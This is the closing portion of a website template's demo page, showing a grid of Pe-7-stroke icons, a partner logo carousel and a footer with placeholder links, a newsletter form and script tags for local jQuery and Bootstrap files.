<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-date"></i>pe-7s-date
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-cup"></i>pe-7s-cup
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-culture"></i>pe-7s-culture
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-crop"></i>pe-7s-crop
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-credit"></i>pe-7s-credit
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-copy-file"></i>pe-7s-copy-file
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-config"></i>pe-7s-config
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-compass"></i>pe-7s-compass
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-comment"></i>pe-7s-comment
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-coffee"></i>pe-7s-coffee
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-cloud"></i>pe-7s-cloud
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-clock"></i>pe-7s-clock
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-check"></i>pe-7s-check
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-chat"></i>pe-7s-chat
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-cart"></i>pe-7s-cart
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-camera"></i>pe-7s-camera
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-call"></i>pe-7s-call
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-calculator"></i>pe-7s-calculator
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-browser"></i>pe-7s-browser
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-box2"></i>pe-7s-box2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-box1"></i>pe-7s-box1
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-bookmarks"></i>pe-7s-bookmarks
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-bicycle"></i>pe-7s-bicycle
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-bell"></i>pe-7s-bell
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-battery"></i>pe-7s-battery
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-ball"></i>pe-7s-ball
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-back"></i>pe-7s-back
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-attention"></i>pe-7s-attention
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-anchor"></i>pe-7s-anchor
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-albums"></i>pe-7s-albums
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-alarm"></i>pe-7s-alarm
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-airplay"></i>pe-7s-airplay
</div>
</div>
</div>
</div>
</div>
</section>
<!-- -->
<!-- PARTNER START -->
<section class="section-two bg-light">
<div class="container">
<div class="row">
<div class="col-lg-12 p-0">
<div class="slider autoplay">
<div><img src="images/client/partner-1.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-2.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-3.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-4.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-5.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-1.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-2.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-3.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-4.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
<div><img src="images/client/partner-5.png" class="mx-auto d-block img-fluid" alt="img-missing"></div>
</div>
</div>
</div>
</div>
</section>
<!-- PARTNER END -->
<!-- FOOTER START -->
<footer class="footer">
<div class="section-two">
<div class="container">
<!--Footer Info -->
<div class="row footer-info">
<div class="col-lg-3 col-md-12 col-sm-12">
<div class="">
<a href="index-2.html" class="logo">
<img src="images/logo-white.png" alt="missing_logo" height="20">
</a>
</div>
<p class="text-footer-clr mt-3">These cases are perfectly simple and easy to free hour, when nothing prevents distinguish.</p>
<div>
<ul class="list-unstyled social-icon">
<li class="list-inline-item"><a href="#"><i class="fab fa-apple"></i></a></li>
<li class="list-inline-item"><a href="#"><i class="fab fa-facebook-f"></i></a></li>
<li class="list-inline-item"><a href="#"><i class="fab fa-dribbble"></i></a></li>
<li class="list-inline-item"><a href="#"><i class="fab fa-instagram"></i></a></li>
<li class="list-inline-item"><a href="#"><i class="fab fa-twitter"></i></a></li>
</ul>
</div>
</div>
<div class="col-lg-2 col-md-4 col-sm-4">
<div class="footer-head">
<h5 class="text-light">Company</h5>
</div>
<div class="footer-item mt-3">
<ul class="list-unstyled">
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> About us</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Services</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Portfolio</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> News</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> FAQ</a></li>
</ul>
</div>
</div>
<div class="col-lg-2 col-md-4 col-sm-4">
<div class="footer-head">
<h5 class="text-light">Useful</h5>
</div>
<div class="footer-item mt-3">
<ul class="list-unstyled">
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Accounts</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Sales & Support</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Orders Track</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Download Center</a></li>
</ul>
</div>
</div>
<div class="col-lg-2 col-md-4 col-sm-4">
<div class="footer-head">
<h5 class="text-light">Additional</h5>
</div>
<div class="footer-item mt-3">
<ul class="list-unstyled">
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Portfolio</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Contact Us</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Blog</a></li>
<li><a href="#"><i class="fas fa-chevron-right mr-2"></i> Help Center</a></li>
</ul>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<div class="footer-head">
<h5 class="text-light">Newsletter</h5>
</div>
<div class="footer-news mt-3">
<p class="text-footer-clr">Subscribe to our email newsletter to receive useful articles and special offers.</p>
<div class="subscribed-form">
<div class="subcribed-form">
<form action="#">
<input name="email" type="email" placeholder="Your Email" id="email" required="">
<button type="submit" class=""><span class="fab fa-telegram-plane"></span></button>
</form>
</div>
</div>
</div>
</div>
</div>
<!-- End Footer Info -->
</div>
</div>
<hr>
<!-- Copyright Bar -->
<section class="section-30">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-12">
<div class="text-center">
<p class="copy-rights text-white mb-0"><a href="https://www.templateshub.net" target="_blank">Templates Hub</a></p>
</div>
</div>
</div>
</div>
</section>
<!-- End Copyright Bar -->
</footer>
<!-- FOOTER END -->
<!-- Back to top -->
<a href="#" class="back-to-top" id="back-to-top">
<i class="mdi mdi-chevron-up"> </i>
</a>
<!-- Back to top -->
<!-- js placed at the end of the document so the pages load faster -->
<script src="js/jquery.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<!-- Portfolio -->
<script src="js/jquery.magnific-popup.min.js"></script>
<script src="js/isotope.js"></script>
<!-- Carousel -->
<script src="js/slick.min.js"></script>
<script src="js/slick.init.js"></script>
<!--custom script-->
<script src="js/app.js"></script>
</body>
<!-- elements-pe-7-icons25-->
</html>